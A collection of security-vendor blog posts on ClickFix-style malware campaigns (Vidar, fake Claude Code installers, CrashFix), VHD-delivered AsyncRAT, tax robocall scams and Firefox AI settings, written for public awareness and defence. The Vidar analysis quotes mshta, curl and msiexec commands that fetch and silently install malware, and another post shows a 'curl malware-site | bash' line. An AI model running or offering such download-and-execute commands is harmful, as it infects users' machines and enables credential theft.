In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves.

Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains.

One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil.

What is Vidar?

Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets:

• Browser-stored usernames and passwords
• Cryptocurrency wallet information
• Session cookies and authentication tokens
• Autofill data and saved payment information
• Files that may contain sensitive data

Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection.

Fake CAPTCHA: the never-ending story

When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page.

This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain.

The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case:

mshta https://{compromised website}/challenge/cf

Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns.

In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer.

HTA-based MSI dropper

The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware.

The script performs several operations:

• The window is resized to 0x0 and moved off-screen, making the application invisible to the user.
• The script terminates if the document.location.href doesn’t start with http.
• The strings are decoded using XOR and a random key.
• Through WMI queries, the script checks for installed antivirus products.
• It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file.
• In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream.

In this case, the malicious MSI was downloaded using the following command:

“C:\Windows\System32\curl.exe" -s -L -o “C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi” https://{compromised-website}/474a2b77/5ef46f21e2.msi

Afterward, the malicious MSI was executed with:

"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn

MSI and GoLang loader

The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader.

Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads.

In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed.

The Golang loader decodes a shellcode that performs different anti-analysis checks, including:

CheckRemoteDebuggerPresent

IsDebuggerPresent

QueryPerformanceCounter

GetTickCount

After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory.

Analysis of compromised websites

The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases.

The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint.

Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites.

The injected script performs several actions:

• Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint /api/plugin.
• Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status.
• During page loads (template_redirect), the script filters visitors based on User-Agent and targets Windows desktop visitors.
• Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page.

How to stay safe

Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference.

• Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking.
• Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious.
• Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything.
• Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code.
• Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware.
• Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed.

Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack.

Indicators of Compromise (IOCs)

Domains

• cdnwoopress[.]com: Fake CAPTCHA Infrastructure
• woopresscdn[.]com: Fake CAPTCHA Infrastructure
• walwood[.]be: Fake CAPTCHA Infrastructure
• telegram[.]me/dikkh0k: Vidar C2
• telegram[.]me/pr55ii: Vidar C2
• steamcommunity[.]com/profiles/76561198742377525: Vidar C2
• steamcommunity[.]com/profiles/76561198735736086: Vidar C2

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While Americans are sorting through paperwork to get their taxes filed in time, scammers are working overtime to grab a piece of the action.

As tax season ramps up, so does scam activity. Our telemetry shows a spike in robocalls impersonating tax resolution firms, tax relief agencies, and vaguely named “assistance centers.” These calls are designed to create urgency, fear, and confusion in the hope of pushing recipients to call back before they have time to think critically.

These robocalls typically try to collect personal information, pressure victims into paying fake tax debts, or funnel them into questionable tax-relief services.

Below are transcripts of two recent voicemail examples submitted by anonymized Scam Guard users that illustrate how these scams operate.

The scripts: different names, similar playbook

Voicemail #1

“Hi, this is <REDACTED_NAME> calling on March 3rd from the eligibility support and review division at the tax resolution assistance center.  I’m contacting you because your account remains under active confirmation review.  There is still an opportunity to verify your standing while this evaluation period remains open.  To make this simple, we provide a direct proprietary verification line with no weight, allowing immediate access to clear and accurate information.  This verification step is brief and focused strictly on determining current eligibility and available options.  Please call back at 888-919-9743.  Again, 888-919-9743.  If this message reached you in error, please call back and press 3 to be removed”

Characteristics:

• Claims to be from an “eligibility support and review division at the tax resolution assistance center.”
• Says your “account remains under active confirmation review.”
• Offers a “direct proprietary verification line.”
• Urges quick action while the “evaluation period remains open.”
• Provides a callback number and an opt-out option.

Voicemail #2

“Hi, this is <REDACTED_NAME> with professional tax associates. Today is Tuesday March 3rd. I’m calling to follow up on back taxes and missed filings. This may be our only attempt to reach you, and due to new resolution programs that are available for a limited time, we highly recommend you give us a call today. This will be your best opportunity to get a fresh start before it becomes a bigger and permanent issue. Please call us back today at 8338204216 again 8338204216. If you’ve already resolved this issue. You may disregard this message or call back using the number on your caller ID to opt out. Thank you. If you were reached in error or wish to stop future outreach, please press 8 now and you will be removed from future outreach. Thank you and we look forward to assisting you. “

Characteristics:

• Claims to be with “professional tax associates.”
• References “back taxes and missed filings.”
• Warns this “may be our only attempt to reach you.”
• Mentions “new resolution programs available for a limited time.”
• Provides a callback number and opt-out instructions.

What these robocalls have in common

While the wording differs slightly, the structure and psychological tactics are nearly identical.

Both messages use generic but authoritative language:

• “Eligibility support and review division”
• “Tax resolution assistance center”
• “Professional tax associates”

These names sound legitimate but don’t identify a specific, verifiable company. Scammers often rely on institutional-sounding phrases to create credibility without providing any real details.

Both messages also reference vague “account” problems, but neither voicemail mentions:

• Your name
• A specific tax year
• A case number
• A known agency like the IRS

Instead, they reference:

• “Active confirmation review”
• “Back taxes and missed filings”
• “Eligibility and available options”

This vagueness is intentional. It allows the same robocall script to target thousands of people, regardless of their actual tax situation.

What you will always see with scams is urgency. Both calls attempt to rush the recipient into action:

• “There is still an opportunity… while this evaluation period remains open.”
• “This may be our only attempt to reach you.”
• “Limited time resolution programs.”
• “Call today.”

Creating urgency reduces the likelihood that someone will pause, research the number, or consult a trusted source.

The second voicemail includes the promise of a “fresh start before it becomes a bigger and permanent issue.” This is a common emotional hook, blending fear (a permanent problem) with hope (a fresh start), which can encourage impulsive callbacks.

Both messages push recipients to call a direct number rather than referencing an official website or established contact method. Legitimate tax agencies, including the IRS, do not initiate contact through unsolicited robocalls asking you to call back immediately.

Both scripts include instructions like:

• “Press 3 to be removed.”
• “Press 8 now and you will be removed.”
• “Call back using the number on your caller ID to opt out.”

These opt-out options create an illusion of compliance and legitimacy. In reality, pressing numbers or calling back can confirm that your phone number is active, which may lead to more scam calls.

How to stay safe

Knowing how to identify scam calls is an important step. So, here are some key red flags to watch for:

• No personalization
• Vague agency names
• Pressure to act immediately
• Threat of missed opportunity
• Promises of relief without verification
• Instructions to call back a random 800/833/888 number
• Robotic or heavily scripted tone

If a message checks at least one of these boxes, it is very likely not legitimate.

• Before calling a number, verify it by visiting the official site directly.
• Beware of unsolicited phone calls or emails, especially those that ask you to act immediately. Government agencies will not call out of the blue to demand sensitive personal or financial information.
• Never provide sensitive personal information such as your bank account, charge card, or Social Security number over unverified channels. Instead use a secure method such as your online account or another application on IRS.gov.
• Report scams to the IRS to help others.

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Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments.

Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter.​ That habit turns the website into a remote control: whatever script lives at that URL runs with your permissions, often those of an administrator.

Researchers found that attackers abuse this workflow by keeping everything identical, only changing where that one‑liner actually connects to. For many non‑specialist users who just started using AI and developer tools, this method feels normal, so their guard is down.

But this basically boils down to “I trust this domain” and that’s not a good idea unless you know for sure that it can be trusted.

It usually plays out like this. Someone searches “Claude Code install” or “Claude Code CLI,” sees a sponsored result at the top with a plausible URL, and clicks without thinking too hard about it.

But that ad leads to a cloned documentation or download page: same logo, same sidebar, same text, and a familiar “copy” button next to the install command. In many cases, any other link you click on that fake page quietly redirects you to the real vendor site, so nothing else looks suspicious.

Similar to ClickFix attacks, this method is called InstallFix. The user runs the code that infects their own machine, under false pretenses, and the payload usually is an infostealer.

The main payload in these Claude Code-themed InstallFix cases is an infostealer called Amatera. It focuses on browser data like saved passwords, cookies, session tokens, autofill data, and general system information that helps attackers profile the device. With that, they can hijack web sessions and log into cloud dashboards and internal administrator panels without ever needing your actual password. Some reports also mention an interest in crypto wallets and other high‑value accounts.

Windows and Mac

The Claude Code-based campaign the researchers found was equipped to target both Windows and Mac users.

On macOS, the malicious one‑liner usually pulls a second‑stage script from an attacker‑controlled domain, often obfuscated with base64 to look noisy but harmless at first glance. That script then downloads and runs a binary from yet another domain, stripping attributes and making it executable before launching it. 

On Windows, the command has been seen spawning cmd.exe, which then calls mshta.exe with a remote URL. This allows the malware logic to run as a trusted Microsoft binary rather than an obvious random executable. In both cases, nothing spectacular appears on screen: you think you just installed a tool, while the real payload silently starts doing its work in the background.

How to stay safe

With ClickFix and InstallFix running rampant—and they don’t look like they’re going away anytime soon—it’s important to be aware, careful, and protected.

• Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Analyze what the command will do, before you run it.
• Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
• Limit the use of copy-paste for commands. Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text.
• Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component.
• Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!

Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?

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Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Cybercriminals behind a campaign dubbed DEAD#VAX are taking phishing one step further by delivering malware inside virtual hard disks that pretend to be ordinary PDF documents. Open the wrong “invoice” or “purchase order” and you won’t see a document at all. Instead, Windows mounts a virtual drive that quietly installs AsyncRAT, a backdoor Trojan that allows attackers to remotely monitor and control your computer.

It’s a remote access tool, which means attackers gain remote hands‑on‑keyboard control, while traditional file‑based defenses see almost nothing suspicious on disk.

From a high-level view, the infection chain is long, but every step looks just legitimate enough on its own to slip past casual checks.

Victims receive phishing emails that look like routine business messages, often referencing purchase orders or invoices and sometimes impersonating real companies. The email doesn’t attach a document directly. Instead, it links to a file hosted on IPFS (InterPlanetary File System), a decentralized storage network increasingly abused in phishing campaigns because content is harder to take down and can be accessed through normal web gateways.

The linked file is named as a PDF and has the PDF icon, but is actually a virtual hard disk (VHD) file. When the user double‑clicks it, Windows mounts it as a new drive (for example, drive E:) instead of opening a document viewer. Mounting VHDs is perfectly legitimate Windows behavior, which makes this step less likely to ring alarm bells.

Inside the mounted drive is what appears to be the expected document, but it’s actually a Windows Script File (WSF). When the user opens it, Windows executes the code in the file instead of displaying a PDF.

After some checks to avoid analysis and detection, the script injects the payload—AsyncRAT shellcode—into trusted, Microsoft‑signed processes such as RuntimeBroker.exe, OneDrive.exe, taskhostw.exe, or sihost.exe. The malware never writes an actual executable file to disk. It lives and runs entirely in memory inside these legitimate processes, making detection and eventually at a later stage, forensics much harder. It also avoids sudden spikes in activity or memory usage that could draw attention.

For an individual user, falling for this phishing email can result in:

• Theft of saved and typed passwords, including for email, banking, and social media.
• Exposure of confidential documents, photos, or other sensitive files taken straight from the system.
• Surveillance via periodic screenshots or, where configured, webcam capture.
• Use of the machine as a foothold to attack other devices on the same home or office network.

How to stay safe

Because detection can be hard, it is crucial that users apply certain checks:

• Don’t open email attachments until after verifying, with a trusted source, that they are legitimate.
• Make sure you can see the actual file extensions. Unfortunately, Windows allows users to hide them. So, when in reality the file would be called invoice.pdf.vhd the user would only see invoice.pdf. To find out how to do this, see below.
• Use an up-to-date, real-time anti-malware solution that can detect malware hiding in memory.

Showing file extensions on Windows 10 and 11

To show file extensions in Windows 10 and 11:

• Open Explorer (Windows key + E)
• In Windows 10, select View and check the box for File name extensions.
• In Windows 11, this is found under View > Show > File name extensions.

Alternatively, search for File Explorer Options to uncheck Hide extensions for known file types.

For older versions of Windows, refer to this article.

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We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Some software providers have decided to lead by example and offer users a choice about the Artificial Intelligence (AI) features built into their products.

The latest example is Mozilla, which now offers users a one-click option to disable generative AI features in the Firefox browser.

Audiences are divided about the use of AI, or as Mozilla put it on their blog:

“AI is changing the web, and people want very different things from it. We’ve heard from many who want nothing to do with AI. We’ve also heard from others who want AI tools that are genuinely useful. Listening to our community, alongside our ongoing commitment to offer choice, led us to build AI controls.”

Mozilla is adding an AI Controls area to Firefox settings that centralizes the management of all generative AI features. This consists mainly of a master switch, “Block AI enhancements,” which lets users effectively run Firefox “without AI.” It blocks existing and future generative AI features and hides pop‑ups or prompts advertising them.

Once you set your AI preferences in Firefox, they stay in place across updates. You can also change them whenever you want.

Starting with Firefox 148, which rolls out on February 24, you’ll find a new AI controls section within the desktop browser settings.

You can turn everything off with one click or take a more granular approach. At launch, these features can be controlled individually:

• Translations, which help you browse the web in your preferred language.
• Alt text in PDFs, which add accessibility descriptions to images in PDF pages.
• AI-enhanced tab grouping, which suggests related tabs and group names.
• Link previews, which show key points before you open a link.
• An AI chatbot in the sidebar, which lets you use your chosen chatbot as you browse, including options like Anthropic Claude, ChatGPT, Microsoft Copilot, Google Gemini and Le Chat Mistral.

We applaud this move to give more control to the users. Other companies have done the same, including Mozilla’s competitor DuckDuckGo, which made AI optional after putting the decision to a user vote. Earlier, browser developer Vivaldi took a stand against incorporating AI altogether.

Open-source email service Tuta also decided not to integrate AI features. After only 3% of Tuta users requested them, Tuta removed an AI copilot from its development roadmap.

Even Microsoft seems to have recoiled from pushing AI to everyone, although so far it has focused on walking back defaults and tightening per‑feature controls rather than offering a single, global off switch.

Choices

Many people are happy to use AI features, and as long as you’re aware of the risks and the pitfalls, that’s fine. But pushing these features on users who don’t want them is likely to backfire on software publishers.

Which is only right. After all, you’re paying the bill, so you should have a choice. Before installing a new browser, inform yourself not only about its privacy policy, but also about what control you’ll have over AI features.

Looking at recent voting results, I think it’s safe to say that in the AI gold rush, the real premium feature isn’t a chatbot button—it’s the off switch.

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Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.

Researchers have found another method used in the spirit of ClickFix: CrashFix.

ClickFix campaigns use convincing lures—historically “Human Verification” screens—to trick the user into pasting a command from the clipboard. After fake Windows update screens, video tutorials for Mac users, and many other variants, attackers have now introduced a browser extension that crashes your browser on purpose.

Researchers found a rip-off of a well-known ad blocker and managed to get it into the official Chrome Web Store under the name “NexShield – Advanced Web Protection.” Strictly speaking, crashing the browser does provide some level of protection, but it’s not what users are typically looking for.

If users install the browser extension, it phones home to nexsnield[.]com (note the misspelling) to track installs, updates, and uninstalls. The extension uses Chrome’s built-in Alarms API (application programming interface) to wait 60 minutes before starting its malicious behavior. This delay makes it less likely that users will immediately connect the dots between the installation and the following crash.

After that pause, the extension starts a denial-of-service loop that repeatedly opens chrome.runtime port connections, exhausting the device’s resources until the browser becomes unresponsive and crashes.

After restarting the browser, users see a pop-up telling them the browser stopped abnormally—which is true but not unexpected— and offering instructions on how to prevent it from happening in the future.

It presents the user with the now classic instructions to open Win+R, press Ctrl+V, and hit Enter to “fix” the problem. This is the typical ClickFix behavior. The extension has already placed a malicious PowerShell or cmd command on the clipboard. By following the instructions, the user executes that malicious command and effetively infects their own computer.

Based on fingerprinting checks to see whether the device is domain-joined, there are currently two possible outcomes.

If the machine is joined to a domain, it is treated as a corporate device and infected with a Python remote access trojan (RAT) dubbed ModeloRAT. On non-domain-joined machines, the payload is currently unknown as the researchers received only a “TEST PAYLOAD!!!!” response. This could imply ongoing development or other fingerprinting which made the test machine unsuitable.

How to stay safe

The extension was no longer available in the Chrome Web Store at the time of writing, but it will undoubtedly resurface with an other name. So here are a few tips to stay safe:

• If you’re looking for an ad blocker or other useful browser extensions, make sure you are installing the real deal. Cybercriminals love to impersonate trusted software.
• Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
• Secure your devices. Use an up-to-date real-time anti-malware solution with a web protection component.
• Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!

Pro tip: the free Malwarebytes Browser Guard extension is a very effective ad blocker and protects you from malicious websites. It also warns you when a website copies something to your clipboard and adds a small snippet to render any commands useless.

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We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.